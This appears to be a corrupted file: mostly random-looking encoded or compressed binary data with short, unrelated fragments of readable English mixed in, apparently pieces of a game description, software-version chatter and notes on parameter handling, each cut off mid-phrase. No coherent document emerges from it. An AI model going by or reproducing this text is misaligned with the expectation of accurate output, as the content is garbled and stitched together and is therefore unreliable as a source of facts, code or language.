zwR4iIA+oIMo!EsY`)MEMmWr)rV+G6#PD`H#F>njL>@jLS7;(IDY!<@KqOyz)tl>dh zuzoNQ{o?ZM6VnFm!AA9!>ZX?49^B#I!}8%YiQM+>-u<8J;R&PlqQz{_O&W$x%hfjdv$0*8H zM$W;P)3H-C3KuIiI;^^#@y-ANOa-S#KU3X?_vN`MbIvPn??58xD)fH+_T1#&2R>cB z&q40)M1BWII945VapZ(Qj`nKJa~Xx;aQl|_0b35FE>FpwySZ@r($w_7Z9KT;7^KO5 z5ue29|I9w)wHk2>U5I(aNv+vs;c?3=-d^Q-Wja;5zk9mI1 z=ocR28bIqyqsrdir04tJVjZ`Xt!^!Qd(bO`URZwRnf;%9U!&l9^>2O@xnKdlfAjb7 zut|Kj_xpcw1>eMHdw+fg#%xTduXzk|_Iwib?B+46$Z+nP70 zwiLp_xF1e^|0nTr<@@2NwN8Vb-`N~orIx4k8}}?6wJmhiR#6+97q3z+6SSk&r`f*( zj@tcj)YdjHUJFO9)xQyY5>EKnoG9Gfym+&^Yx$BLNt?kPJ~TY;C_f{mnxez7MIC#3 zUkV;--IKg|OUDIiaBXmG=@@*r;JcqSz^M_@&xoTmE>#OYfxp1LWzib)@Z@1fz!9g1_cpul=<{o&MS(_-loS_}wh{ zYyUR>+Pm6cdl%(AqW!fa3WfnC7*qJ3_SfE`yZV3O`%s3~+g`(P5T`xM*5b=hu%_tX zTgzS>_3EIVgZ3=>6P0ZFmHk?7gI^7werNyY0JC_I8Y6>{kD~X^U6GZ)`(#wD{kG{9F8gscKpLw%+)HVjQU&6I~7O(efP8HFgBR zITR1={WBAcPM(b~o+gqL>V}IXhodRg(4p695}4%QVI3I z;oY?8s(1y6zAXa>euR#nNw%uLIoJkqU^~TtUae&hw))rMD~;Hv8_9ei8PdG#Qre@W z*kIScvT8>T`W~k@%1PRu(;MFo_&5BQ6X)KUJm=i<)@b{dcQTf|^FEq@7&BBVonUNU zYP}81@%vv2wqZ<{{CXM&cxWv&5L-?ZZfv;?n%o}Uhl&_^^vxxIK|QHE@j;jNSgP7~ zj@%9~RU2(Wd)k&Fou&=7xDRWn%Wp|(xeX0s9enjK{en4`p&{&F9&OY1{t@JheQnGg z1IcuiwyU+Qz4g$RcerohmDVlGuj~u9mZzW9TDEP=-!DkpiG0$IE+3yX?wDS08-SHR z>`>T_b+uz$S9>`J-{pKc(hI-$uygr2nJr}-aV#SRKL^??JGpQ-4c~KVyOv*hJ&b;9 zbYlw*!+_)?O!Jtep5gnB>uvVBbl@XM~xFPomc9fyh_;rlu_ztrEy@mbTj z%xLe)Xjw;?^3}%Qpu2CuIZ#*|cKi5XVK02_|NUJ}Z=H^BS}ZG0!tw0wS*Xz;9Hm7# zvNa>pE9=PCRGh=vnQ~-n3h${$w!)il-kEV^D~vThERWwK#Ag}!nAH0GQ#?F6XxFq& z3Kl6c2u2tUI&$8)7b0oc*m3sh^pX#xpU&?%9O!+zN&k=Ak26Oa5Fv9MWw*5d- z+OxNlE{@(I7F=&^5jgT}Mx^(8u+Htn`b$|yo=uG;rENX(Yzkw6){$qE_ypqkNvv2( zebDvjvzo`Gv>mOxHfa`Lh+Hu4MKJa}7(+jMx|%7BWeHE{@^Tf zp1vnV`i*-j+W&M4aclF=tgWYK@hLX0#TlNPzVqth<5l?Gs!=a%5zWcCMMSp?qN6Bx zL6rDdY4fh6BU^pE_o7JqEZIdK`#*{ArEa2_25oB4=@=-Jm|$p2IPm3C@~1q7zE%qG3Csx&H!41Gew1|=yUfBdUnu@?5NW@we=W^ zh|j{F2Dco2F)ZY(wZ~A9W3Bitt`A&}LE9rkg!@km_xOHT^gQr~a(PPtEnsQ8COB_9pwv*ZQVLF>+^sSbmlk6Z?s`Ve^_?pe5}V}Ip& zh$Q^K5UYU~SOd>c4F=&yk+UKLhi$$KkueXRrDLNyP+E{y$*2|HlXyUC&me#5(U%9k zlC}qvc&A}+*IHoO&qill4DYFZIu6#|jMBifIy~y-rO&ZEx4@N09aCwrAx7&3^$Cws zq+LmPq@bu(o5a( z!~_wxQJB3fPK*U9k(6vCZ;c+*(FR^K?hi2PZ@TGBkHtzZJj9=4YyD61bFJ@cmdNAl z=uh4R4LzK|CZ^Pu43xP4rYn}GkHk1&+%6D&fdr2UW5=*rEppNF$?RR82T%Ww^)9dC zd(r4%`l0%>TM9Ek@kAk-ZU#SVhA(eYijz|Ne-XPEPmFqf%=FagWv#_2t*J}=#}A?J zY<;iwALxj;yp^%#?-^;YZ24mbchjX}%k3L23sPGbq#oTt3l`19_jOtaAQ2s-)_=7A zmPI%r-Pil*q<5jdCZ!;W#E<+I8}qQi68q`;VL#pO6Bn<*EQB_GsAT-43yAj-dR$PnKI?U-w4wGB~v zAxi5FJcoF6DIyPLl zMlr89h+0k5Pi+*-wS_44G*Dl)QG0>Q(Zt*#;<@n^pqtHrb;2InyBB|C>FV62~eAfddfyI)eA%o z*aXz~y{MlP)j-rz8$~uAAZjO3H8zTZT1=Gh8K8=66!V%z)B>VL*(fU8M56W(HNZyg z0ct2wLpB5TU)Zru1z@T(iE1M1EgMBPjx+(akEk79)ayiLZUJhI7qywFWkh|&M(qQ^ zM~G@8YMzZ^UiT6;`dOfEwNWf`Jy9!&%JQO0iE1b6VjHy^sm2hMwH2s-Hi~(jPt*fM z{e8V94d#_h)FGnw+9)=?cAWlSKWQ6K8*CI){f4NOM19YTdV;89L^XR+-z2K|*FaT! zQHzLLO;n+cVtoaOQrm$VX`{%-1fr%B^$8nA<}W8|Em6mxw2DlE8APS-0P2r6iUj|K z<@oh8iP~ z>UtZ+S}q}~fvAgY6qz4Q)J~%M+9)c(XNdCc0_vS#TGC*uB%&4&^;<9MuZw}&L)3a3 z#d7T?YRL0Ieb+{j;NwI!5%mQd#Z=!QY9CRvy{OLkWI{i!pT*c=T=Pt#h|HBXH;33}Nl{$E|H@Ha$Px1yY(!tZc!OL`T$Q!&s z2RC_x@6*BedxIa;!Rx%i_cNGhP+6A9lrgNHa+OAA5?LCTa-BxbOpIKukqZ(d*J|X7^AnO?-yPYFME+n%8rBgu_j!1me&he< z&1nyB)(L<8n_SiY;A;Ae)%*CoLZ1K3=cV$T_5z+4$n$x84$1R{e4Z)KSM#}4o`>>z zl78Nh+8@7A{+n{>V-`b4N@yShp-(dO28IsQq3vJ9z8@SvFWyj1^aWKw-%j*@A0>Np zdf}59#B9hQdj9RlPgIu@{ia55n2FGiaPa*T8@3RCGpSb-ze(fUF9r4D4Lgb3hFH~$ zhkoF~8SBXS`1YsJ z&)nR6F#}Zd#k=LUhqtXedapi|rv~oDa@~&JYn{jS=5fOVXFvo`X(oARgt}k^8xr&^pS9W$8Me{t~bhNyo*+vWOkm5W9s>_b$Nt zYwz87oB?(=@S$Vy9sI)4|Gz$33GDi9it6{f6!p}e6!kKo9q=9?{iPH&5HK8&2bc~B z0qz8R74Q(?DZmSW{ea_ub6!S#zzu*Zz*4{ifHi>afVTh#0ez6?K)_JIb$}wk?SKZr zGQb0XHGoZk_x7f!H*h};NXPR?z%)P@a4%pLU_D?b;1$5z0A785kNjRqQM&-^04o4@ z0&W3}2Mh(A2jI2#4=L(co6UeU^8G3;4Q!r!1>54 z6EFcV1JD3i3RnU7Az(dVC*TdhI{@`siaHB09B>`r2EYtJ2(T3JZNQHK8v(lkuL0f$ zyazbr^%V74z;%Ekz)ZkAz%sxJz#70tz-xeGfHU4mQI`O&1Iz$~0m}g22K*TC6yO!W zJAgj_gR%fF16&Qr155*i01E*30=@zGA>dg+8{jY?19Chca2a4UU;>~RPzCrB;6cC> zfNcO?4?u@`jdjY)W;GPAT0r(Q&PQYaVUf)ByrGUo(VZdg9 zxt`gbt9}PK0O*JQ>{7reKt3P{SPFO;umSKW;`|)Y4EQqOJAg5}a@7rh0AK;&%YYvO zeg)VIH~>g`K39DbumJFNz!QKM0S5tnLE{oYF5pH$IbbeeKEPayZ_iN=L~>Nk6FI8< z^&C|@B1fecIr!oya@Fwi9233sUi|Gm_4Xw>s`2vzd+_`tz%sz>U|ld=Q=uM+#o39l z^uamGjx+t?Je8J_rOudyyz3hy;b5Sa#P?fiMtIURE^Leh5i9dMlK1WebPX+^kn{z^ z;rcM>V%0}qc`NhO$mg>3PbN2kPT$LO6id4s&(Wbdnx6p=I?vVC^L&sGK1$;XO!8O_HAv~`JybM@>VU~LEv!D-X2mB3i2(TXf|NZ(L z_57$D^%|gLe2)6#H93muU%NU-Z5@--nf}nVIcoKFIqEuubs+8|xR3vCo?4H1j|0{L zrXzgdl{xAOz~fits4RqKUNLgil~-MT&FC?KSrwJRs@c^wbLNI>>*^am7jBG1=gnWR z@D8P~>`N~k_{mS4ckVf7pLN!mXP%jnk&q)u zuG8#GGLHSfC~N1cJoU_sEOj5sH7H-|yR2?*UH$wzUvNQ1upv@YUx(N$E&M?|&nwDN zvjUaAKqypS5r{?Vq_)$7M zcS=D)b}8Nvo?TF&)Xd*g3ze?7Qa&He)6bJ)&*SE!E@IEW`440sd;Y_*95p2N{O_YV zs#j8SO7A|WrS|QYmVWvf{WH!y>+EyRJ?|3(KKZFn5B$ve7x*sx?4XM-zGU!_OE0^8 z=&<1<98r%QH~!k|uFuNO$<6amm^dl_hRFqmMN^7zoLW*^HtnYAH{WvWjN5K6pV@T{ ze}2*8JMU8E!-uNjC`UP99DrZnycQ1?jkRr@iZ@p>9(=vO_DSEg^zucEQ zwREhns6OHg*40O6SNm#%we{hJzDT{VqQ15v6pRFY6{rRVu#vNY4_D`XF-Kkby*%Z+ zTk4c`W!I<4=l|8aPkH}_DD&sVBzm8O6|e68ma6zacl;&F`Rk>6_GeT0f^zi^ps&}&KOU#}isrUrTcLNDhpsaMbbO#1lJpK8d-S^#r82Y)6< zzB$hss)q%RMf1k*S!tbE8OnK%fIyH6<_)4*Y5xN zH@^A6x4!+I2fzEh@2~v9Ll3WdyPyBq{FMj#t`VCJ#z42F@ zp4q(R*{$1ty?w{d=XO26`!_GVxaXypf4ld0ul#=BtFOKO#{azehqgby^{4%R{>xw6 zJKjEU@Ne(@{m?(&{paC-9XWdJ-|zkB_7wGZ{Ax&DG!(j2OeBtM_CcqF7Mt8h^-0P|@%#O~d0myMiWy~y zZ*=kW(^AznnVB~gW5c!2hut99$TG8fCN8BGG%UcCiWv9>0QjNYUX`)Gq3D+jV}Cv!#*l@vKcz7vbodAz# z&GUp!L97VEO{@~&8xUfr%vMn~8_0dOA$7nQLT zj6-gn_fl}n7>!ogO~}6z6oOW0DPr00g^*vJm8JxE_dD}8`6(s&;I|+&ZN8Hpc_$t6 z%Jk5YNn>kk$2Mx^sKhnYSBT5UhlRLQVd03%$`N?LRgCJ-2IK`Rg0-`Py26X<=XE|$ zsfg4wxCEma6PO*H9c=_-H$+34#tqRrU6I)h;Tm0sfpCSczu>HJG!T|Jfja$&d=%&_ z&?QX;TBHN0Q-y(r3N&yJs|mqb>V`m_DhWiQ;YuKIO$gWMr_$gpdx;6RqcL4&fNL0)G^E8ER#M8m2~D&sV6cK@kHq9ag0BF-tH7`7k86KI~sm z6DbbYR|HvOwV+ag`V6CHgW#qTt%5RTE2x7u)F4I>t(t8!tmFBBRrs}te)?XDoTfk% zN?dUSTY{X6)WifB)IU-cqBSsvP2JEX@u?_BCZse<=Qa%SvcZwGdA5BYpdSC(;>lwn zxX1@TK3$?p9ag2euGMj?QJO|P1@NCKXme;EXuH^+YEa_Yc&pQGutwV;n-=jk$g>9c z5dPm0i^tZ`Pq!AK&v=!wAYd9nofF#kDk@veB_ll$M`z5^Sk;3K5gLC%w3y^OFZI%);Z`4Fni%xFFo?fBGbmo_+ zzUxt|tS_;AY|r)DI?zf6VH0Vkf|>&BfR~ix3XdL<8&aYj5ZgjKMV;y1-d|zq5BZCy zQwu56%CY3tTK)lTyTk^}Jt_SUqA%{8=!;RtB3)B{ryWxIvPYBhTJ_U&eIQlQLFxtjZ1&zZf0oV^o!I*|-}53%l&hT7%Gf_jw%nEAI{3`H;?!M!i;YY$>Q3ioQ< zv5#G4;C?2<59F$|7>@hd499%{?knHM8WZltxPJ=wwvJr&Y1|udABejT_wyOvo~tgv zeE{x0+}HjUpC`b5^PjOkh5LiJ(xnXoe>EI^$Z*n!+(>!0j>Z0$mReGi)?6*k z`S^bwVzX}CIrx!I{I?4=?P3?TvAWFVb-@LZKvjfZd3mUQ_AJmTUswmY0+6Yy!odX% z2&<~CuVfzO)e9Ty;g^?J1ZL3}4OI#r=qlo?Bv@62>h(HSMNqrzDgr;dq8>h24Xn%O z!g{b4K;THE;hkv%jKDi1;X*K7e5TWP1nWE4ydo3fxT}Wx`HCDw>uMsw%3+O>KqN>a zvG=((b+aq$u?80j*VMtYuk>AldH7j@+4YFiSRaj451U($wY=DKpbG1N0ifjFXW@Jn zE>u4+Fco2kU0*@QOQvdW>U;nHYguE>{Lrw2^?af|thmHF_}CI6qif z(^x&Ms-{lUXlw}7@qHfFIPZuCLuAl|MZ*|mVc28dr93`ep3bmfII86lqtg%w2XrEf z4p4zw5H@M*z?_a{#eseV!>Cmgr#83%v7ievx{ym{G#t?NZ^Dod#)FWXMJE{YH3mZS z0+rA%6E9d1b-km)QQ4sG3kMsbvqD(f?TiauiUe3hi{Fa+P<`#J8fN3ftF8%gz-jWB zRUfLEhbZPf5XP!;L@Ke^fE|qSW>tS@m@ifsB<&32^Wnp}%3oBb+G6+JvHNCy&sOVkFDl4UYxH}r zT8;ZHlP0NE`kt>I#65RXiCPv5kHp?*#_$FDy;P0Iopgra&in@Id$vl~cg$_*JN9+_ zllUCfrtkS`kG|iaw(0vVYK^{^s1^ENs+Q{eM72QQ%Ty?KpMm>?sX3}Z-*eSyeJ@Z$ z^u0t4z&+2Oty1(oR~>qn?**z&-%HdU-2FxQYBTQnr6p<|?nP6ks+F<(efnOcBDfcq z=BSyt`%6kxvA$#9fW8-~q53{W4bXS^1OH&WJatgtC#Ze;?pNFNeWF^c?~~L@eJ@li z^u0(e()WB7()VmNUEgm}lk|P6x>DcE)J6J!v&zu-X-eTvqQm5n=t873~r#&s|w5Pq{uBB1&aeW5Q zW;fF}tmox;PL(L?OV;z3t>+ci^H;3ruUgMvv!2%_IW&J^J#(J`eOA!ZAOFb@g@UsK zA>XWp*apxT{9F`fmo_601`N}l*e6iOoddNEk%ekPw620?MhDe!>p(5~7+MpBvimR# zIJeOkm=~xC1!l2xnt(0}J#P>em00alObx=ChAV=;%3z?9DUhJPrcx6DE*gqRZ1!KI zn^zCJimfEEZAU66Tt7Eh=WD2G2&z($MQ5|n7pke7i=KHZNDiy73oZ0jA!nc2-lX#D z=D}iBqIf}eapV=r!qLN2BjvycJBFgfrf@~J!W*#&-?O6Ou>eUx=6S_ z@Ek=J0&y2NN8LZP?gU&m)S47K+ z{B_cV$AfMKJsQLut+Q%d%N1QmsL}`4IFn09mwD;hs0=n%glih0Qp&#|SmCRxhob<^ zit&^ko{ge3#%f=5#a(7!eYlfr$g8d)8W{lx88<^DAIcaGM=?o{JdLh$YYX@{v|_Av zzH8n<*%G~)Vro|_I$mmPB2;tGFzl+}<(ZlE@%uD2-P5$B34^=jdz$X~Len|Ddt;^R z?z`{qjeS>{O~p;iFjO2ecy#eiO<2dmVpnnTG9>d2XFbU*_0*#HnNi|SJtTZh2<#o!JXywZZGzMdlvcuuP zLWJ63PIMn?VTkgTE^G*Th|EO$glXWIrKZ9csm3s%(g&wETsc_HM8gZrhM?zZGl7=T zu#n9I?pu_0!-wGxnuun0W-QLUS>&m^n2<+L=v6L+SpiFEmRL7{;&$c=t@7#e&opu1 zX-8_%{O>?piD733s}0*HWyy-$E#qE!SUg#hK>6b2mQZABWKmispp?&xx3DwoYwK$Cp0384*{pX%fqH?#-mSNR52@RERT0{1SIu>16OW=sAlYW=!g?WcP zmWyL1Rs#8Rwb@u>Wq1VbyS_@|%%f36oz0u2YoCELW17I{+p)=T5#SQQ`0>}O>#n<2 zU5w`ufMI~k0ha+5Ekc}2aAz98oq!=&{~wAwlIU3$kb<>lzoAPOw2 z;<+IbzWPesgMnE!e6I+FV|_t+c~zh>A}{6Tk?I=O89Isb^2SJIXPkxrgC!5_!mS7a zPXkstgkc+d<*9Xm)qn>9D*#IY3jhs(YQPLYF(7nWo|=Sv7GYnm8jt&Ez?FbZz)-*t zz(BwNz`nh?>KxoN0O^2KKng$sj$@Vb7~nAA5a1x79k3tJ26zLo53m=o2e2Ek6R-`i z8L$zs9pRku_(KU_xz#>`aQph61!qh zi4N!fS=}^)KDxx1hYU5+!9{n;8~5yM?HW54F=wGuYYb|?&sH;Q-&u#7wMR$jO63Pq%X(1`cy5GV&qbcrvj`N=Yo%( z(dDXrF4ofvkeci8sA;_x@Bh&0yW@R&$7D&_7X$LO*7TIFw?0JUrfJ#rwCtu1 zOL|xqcOFay+l`reu409-KEx|qYX^6S+zgnm>mwUFGZAkNp8FdnB9yVISArvj>tQu$ zEJKw5%+eO%UV!_>Xmd4YOs2aoUqgMPp21Smy^b%v&Kfk5Vh|wRoP%JSsz74~N}-1z zfhOZlNCYm9tuud+r~Yx7bM7Pk;w<(0C0Y91#ubCz=RUrUcmJjCb07Ow=BXEvemC~S z^SsNktFqLzE3?%1MrNr`0lslXmO2-3e8t$<(B| z|D+st+m9VNY?ExCn59AcVruugkY97e-2z-q<<5%_n=dWQBxptvDEYyK&4H9W5g#Qe zCpnYVx>MnS#r6aU}j!x%0}&@CRSbRa0H-X?%Mza{4&=l{UpT%{t+|r~EP|wfw_r zSG?SqKdE-DT_>yO5?zPfo4{J+inG`H#M?Q;2XoFwYj<0hMC~iSzD&zE^_2}P^+EOA z)Qf5JLaQhG{_*g|zE}DN_8Jl0e*|^UF75JU{FbA~FV@O$dW~{OnU=B~eMuR-v;tt` zaboM3(7}nWy2B>GKGRe6t6T7w?TT+WjQ2Sln$&)BVCQ4_^J=3V$8I-vxF32%KMrG% zSSd|OoIIU4Mc|#1=q`?-<47xUeuh@!c+$S(OJvi+IuLxcsi+lNgaSMlVOKA`I)``e z@SW(97k9d{2Iz6qBgB}@lLkBcfu%3bk;4@1yXNS|O;>b6^j#zIF9VRbDo-WfmZkRL zZ1NvxWWh#Ppk<36!+1rx;e`zm%(m8*VAPKh7e;gQuol1x0Kxg|qP3HQ3meTlPcqi)d=J6uzC2;eXbl^^76*J24Pbp zp|XYwOgofe#{l*ylxTmsw0=skRvrA3dKwy9Td(6{2Rlm7 z{f^vu#Iqq{%ei-W3ZzSF&Q4A4Y2q$RcbZbvp-`xVpC-F>6UStq!#&!p=Y>6p%iJnD zLZ zrp+!on>$?<-Qa1h-LkkEJ4U! zssZ)rrRC+v(4julhvyk3?i&sPWXB<;Dby2{$E4>D{K!dCca=AJWy>o8%!VAg%g5FS zBl+&)n{wH5=t(*$4=tC`Z|>4GEx4!kLCvF8aq7k9qdUIEV>Fs!m%3{nCg^%&?c>~% zWy6Yf{Z(tpc2x(I3HQ8HFKN|yeuUgtX=?0aWiFzp{C8(lS;JmFNwcr%jon0 z-N`bM4el;}BAw|jzNwM!^tTB0Ar?X}WoTWey^o$Z)L_Vid!%J| zcu2pqez=1_jI{t6)f_u5Uh>vQL4p%xf|{24379 zZ*Zc+r0UZ+_Wf9CLMa>_7^}~rvc*aMwk|Q1_#t)hq&cf)+Ln_C2^+c%t~jJT8#zUE zUs0nz2kFpGJAT3hUB5-hn;bbb9eON3`FCg;J)4FUoQsrx)JaQz3P6!FiS8KmPFN$- zPq)YNtb~rpi3oZ#><5^qp~{|y^Jy|yLmsJP?0GoaH+tsYhu;Cb;HU?bnA9P6^K)L% z@qdPc*BRQAV}gnzH)5ytLTjbTVBph(8>hWBqNftxDOp}aFi*?9{62g^iD&EB z*T=Vx!3diL-f0h|EpjKl53!{O4`?kR4PG&RWH@1QW#KvpKe6#b=U9R}{KsQdDC2u9 zxZ-kreEC>_97&H4XWUB2ob%&zc4n!EcVwwIwqsr#F!|S6YRR@NwRvlnI`M3lx)6}H zB}+Z|4Cde=A=-aAdB_oU9?B;6f@kpp`m_PhzH(1+`Gjx)d(?(seN|@W724+#k6&hu z$U|4Nl+-C|l4ulXn>d?DJ4L;a{@)p)atFSQCmPXucyUhFJWte;ceLEyCa_jv`LayQ zlZC81p3VyC{7n0x2O^frwhr_QdAaRDPv}IzC#A{$Uuf7Nqo~40av4HQ6j;zkFHa5kS{HjX_eGc_Q>W; z5Umhr;YEf{eDYt4aQYmSgPbukR*>OX^VX>t6Kxut+4kI90%;rKl`I4`O2Fwg#6Of# zjSpBkLw$#?AMz`w$QuyOH1sXlp9G+l?5B*6!BD3KQbQ$I=|g2aPG0G!njVqwyxcM+ z6}A-dZdfvgkPGG^+zV~i8S|I+?X2E0eu1tT&TmS)o2yfYKr5j0?5e#mE!X*&jvh4Y z#@o;NVrzpw^g5$)mYu%aR9H+|@#P+!5eTb>lq2A6tbXU{kXkfcw^z}@5ZY9Y*7)JN ze6@(_&5O*^m%0o%UYVoEj=W~9-ZrW5-2>mKOy9`ND@I{I@(A7gm1-HuIFdb^)V25= zlViCVUvo$-*IF%AS_Wx#%x@5YS0a84mfjGr!HCP0vf@bJ)6Azh^CMz=ME~s*-Ge*R zvvr7E*q?M@2Ne5eo+UT+&v_Py4pY)*IewgYUlN|DHHbYC`wOR!5lPru>G*6mE#^sG z<(YKqpc&sY-1xOqpi`pD&RVC?my`EgF<^0XSb}`!+0*@p#3ehLKKciFQM*lzVI>a_f%HV9*e4akwJQM07ak z;nqdFeC*X|tz_ky^D%rDubX3=#AWQhoV0x`R|t2}%=kJJ56tA&0qIIBWDmph3OvV) z^RMtNzkWCi{GaL=jH?`1X&SS%q?|Q~0`L^jJs$0j^A(L?Y_vulmVU4j?bR9c`Si*O z?Wc?yKNwF;Z`K#Mwvip0U5{gy)wO2%A-48_Pp=@vtZT@6g?p{TgyBoEm?$qD_X2)z1=kMhEtzF?sqbnRvKp{29yR$m|2hIuD>m0Z(w*a+M>NvhW%qA z+O*WO0UQ}i4{p498Sx^S?r%u51R(wgsU@bz@oS>dhT$tW0iIq$*YwybshP(6wA)n( ztyIz)`jZipBX(Z)I+ZQYu6UGjJxdrty~mfs@Yyw8haa1k%@g^$6}08s4D9tx@6VdN z4Ygj3+K^ccW6L>mp!~&V(9fhl#}bKM<@aJJ2eGK)_i--E<{>^Vy=B@vJC@@QIDU2o zV$CMor^GjBRMbgS==X zsU?YMn|?eI4yX9ADow9Ku0;7!)~A}AADpw#;aHDW+jx`YgR3BTq?uAHw<2y|#Fbu{&wbIKQXAOb;{Qy2b9Zz; z(sG|Pwnpo8e%;E&p0H)ficbVQI5HLbY|&g9Vjj|(O-_dXaBwgW;}Bl-An4!mJIVCv zO&rp)^Au@u9LF4;xnR)>;jwQ*?eJN{2kZsin050vWGv; z{CV}nF12`ox|mvqiQ>zw2Iq&_*NHD9woL3HTY@7;hhn03;4P`$zUe`2VShV#P#5|1|Ll=B(?|coO&t+j_bJV zL-seYU!x`B{wuaemMUI`rX9NV)@v_~{_}3@H#OWl%8+(#dN{NDi*xTzJEz^D_bWb* zjqzdcwgT5xdTv_kf+b?znSLM}ZBF!!{cd94AW`i&yi+r2iAdkuMx$si^j|8#qti-d zd~EVE>ne_Ac4$*C%^vIFpg>Ea`7ic&?iu2{?OE_kWj7;)rzg0hP|hDvKdGC3aMH6s zQ#akw=YD#gkl+qDhyEhuaB?o<>9glB>sxmE50i_`l-tx2%f#vX#NWD*#fDBf9)m4^ zJG=or(;v6-Vn_2)doust)wq8!bc16TXUr!38vR4@vyAoeX?|GGj+bn_4r;kvJ@-HP z1y|-Qv$7lqQd0B5Zy0?M>yH+a{WX0e+m~Y)-_1x^*1TAA9D}?0HzQ!CFf#=lNi$q# z&1G(v5@e{1OzTW>;3qiLjX%qrPUc(7N|W$n`Zn>N>AQ63ev{=e9+lg}_Lh+O(eok) zb;zAF{wyhVM%q5V-X^|TCBnFOL@v8siVwiAm$9VMtI=x7X%*5jGUBcft`pRwKFAr{ z81rU5jKoSCzuYOjh}TWaXTBuo%nx%Ggj~tjso0~6AHsZC_pB32$eHC8|AV^CRZe;Y z)COMJu%WWXBwxfd<5#9<3n6dhlqC~ih<1zhNvX^HuM^K+10a{ohw(_E1hzz>U*H&q z8e?$eg7egz*`X&%eweQ_mNxvcu7noHC8dZlMBNDbGScE|@J+g0bCDm%LM*NHTvE%C z*m!#^uxy#s5ne@lkEgRHN?r_i_NqTUGN~)}J(L1D7SE6)dGRCJg4{Un0dUha<2c(k zne`c&%cd3$M{WyZJaVn92>F%Z-C3_ycr*HG=D?l4gsU_2z-1%;S6Eie-X8A#k)c@ zPduJ4<65iqZHef*`QW)hIa_E`j;G5$hyGj<^5dBwo&yuVfqUent;;-Hd~YfeD1$^< z3q`1B>QH<yXvXpGoG8<`<=SKe*N<^zk6carT1)D{J_o!uX=jp-`~5o z&%dvJ=DIr{+A;01=YQ6b6FBsl{|3K5b@1C4{ov6jYR~z(|JW~&Hg0KNdU*G5{`sfU zb6=Wp+D$`W{_QJ!e}Ck_zJaRm!P)&@J@3tbyxVKo?URzy%TNF0r-tCSaxT8?^5Mn# zrI4zElsHNfd&65vBPO)E&2qoFB~w@`Ctz^Q3s*zhN#rm14&7Q>{>4{J67zU2s1~{5=vU0@F@ONF3`LHv* z41eN}bRakO6Gp!;#BT}tbUe;r%jll9!v3K{ON-+?)3XkS-C>`=v9&XLjPKvr!kG*E zVObgB41}4dBW4!fIYO1aObnr?V)|C8d+DjD9qgx_UaLd%YiM&u)7!tEJb(5HvWu-! z_d{l$!N}*-xTyl~W^6&`^6<{_p3}S18=3Ia;|8ReCBA;Riwzi$rB$I>meWYChUfFK>?6fhXp_Ha~{mkKGYAn69dVDj# zGoPMvM%r8}_vv*V`qdm~^3E$y_nX=JS=y1i_b_rA(j^t@wfMR0#pu5X9q|NAe`Dwf zZi23l*@($MH;z4#@kAY5Awuc1aX$>@&U14d4^yVhmoa(e;f-aZe>2;Xwvz|vpc2c& z&=9U@Z>NC@b2Te=CZ(aK5Ql$^`@ytOGmU=^9jAs*MUzN}G)#TkWpTp1QlX7@^xBk? z=S}6T2JMo_)#0y5w|x06kSVZzM&dI2SAnr1ZJqpyoSd|rt>Mh9jN?mU7LV39{x3c) ze|dvn+wDFbDS6Wx9?OuP9(#8bylHb_4ajdJJW-~VS?XyhcR?K2JxgorZ3$@J0qXHQ zGZuB8wv97%#^UgF8v8E#jz)6cd<%eM8gd&iS$BvxEoZ1$UXCxNow@bFZo4KedrEQ} z-)>D_!|;_HAAE3*E~q0u=qta}L7$#lYb=u69@F|!6Ww}h+uy0c&j$tJ#A`>*%vsOV zC-Shwl1mQ8BA9YHcOwg#wdNY1%>L7BlYQ50qk^^joKr8O*qccxIqjkG^*BoPuD&{Q zku=68)1t|`5jD^IXJqM4W>pVL)2}@u+0(fNjdAA@RGKUGJ*AiDvCdwX67kT}$kTX{W^3cj9~f zR`%U2vAwUA@8adV_a9K6&TJJ^`j8jL!L&}aeRDc{6UPsg*;cj&&Rem!F|#f78RzP> zvSY&R8(_Qi>)8CADCQy>$9{@4b!G-syjc2j&g>?ASu-=0IA?mk?pZH0-r!mmF_c}r zOgJ~hnL<+%_6N?qp_gCI6SK95ze3HXpXAK83h#~t%aa%v;J+bd%JToqd%?yvuxb|N12L#OPew^V^)m&;+Mp@{%P8Zj5lQz8Bayx+Ixr$ z9rB%x(o=5yPK!IYQsmK9T02M1M`AyfbuPlpOtR*l_yu`8eqvNz?Xo)-ti?t)YU4f>= z@c`?C6zQc7fgTmc#(UD&P`@PKcM#KQ)#QyMNA^$cc%q&u@XAxw&N&F$*-}ujb93?{ z?!)Cr8({JrtofE%3Q`?{5i>78xFdfuHWiyh?(y|=-3pA=q->3B3X#rm_rd8H3f?{P z&bk0?i~MSa?2sp)vew}2P$jRXN2t`#Y|&zgILpF0Q_g!;;+~I~&R+bFE+4lIWp5zY z$CaPV=yIKl)`9!Nhoh#e^|ue)?O0C#n7JwWeg$WqIp@t;Wq#S|W}S}n{+y38EzDge z$C{NvhGxFWofl6Z*z?TNmzN@pJqp*yO|M2xGX0-BAL&V%lG@2~xyzb|yt!UNuLj?# zz<>7BzS!)W`#WqbkzAz1QK_>QA>$s-Wa6vMnnPn}xqdp|6PAxKlLsl9c{?L3H;;*B zl~_97Gi{=iM!sF|hcXgUC>iamoE}KLgPeBW?1z$`#k6wqO=&yLs9ZcGT2=ZSY**&@ zX^i}grQm!MJzMd?=^M5Iq}|!+jh!t-O!hWnO^sDaT>DaMUfaYnOaI~BjV9&C<%ZGCr9iZjRvWg9&%`{p~>9}o_@l7ZXldo+bC_!ic zNO$RnARo>=OF4AF)>0>AUXt>X zSyi4>;v4J3yOwY&l9avCl&kU7jXy^(D)D@|@%%(X$fNjNMyp9ldKmGyxz@&>PsWHo z;Jkm-7G9Ey<4$Q6>;pJn5bugo;VB^>qoPl$(WU2#xoLSeT|=`FShg^xP4s8t^}JPx z-4!0G!}4y%8sd3!ydc*{L6^Gr!RU2pJ*Sq?4hg5U^|bw7X&Z0&gYeDP?5xsAKVaH% z_j#R~e7equWn+tXYfty*blldC6uPEQnQ^}fwcf~+k}|sQJ{vh4v1BD*{8CE9SoRLI zYmT!_dlAb^J8SPnVP7wLFY70)KhD3g?>0NYr@GQC)V?|;z;+|_I2vGHJO@DgO{AELKmGJuP8golu z>{HKb%3D{C?o7dSeqDK>^jqZ@5a)vq+v^PUlp(Fh^oAStS0fn4^S3ez>q#0X zKEFCK1F6j!QOExbYo4j!gMDLtyyHuA`lAuk_>0>91wM`)2K(v;<6xApA<&3eQ~eXm zOKxG@0{kisf1LwAw}9Wysp~)l{VNxs5&IyX5HP+y?IoYNUQ5q@KAyzt6j~S`N$Yt0 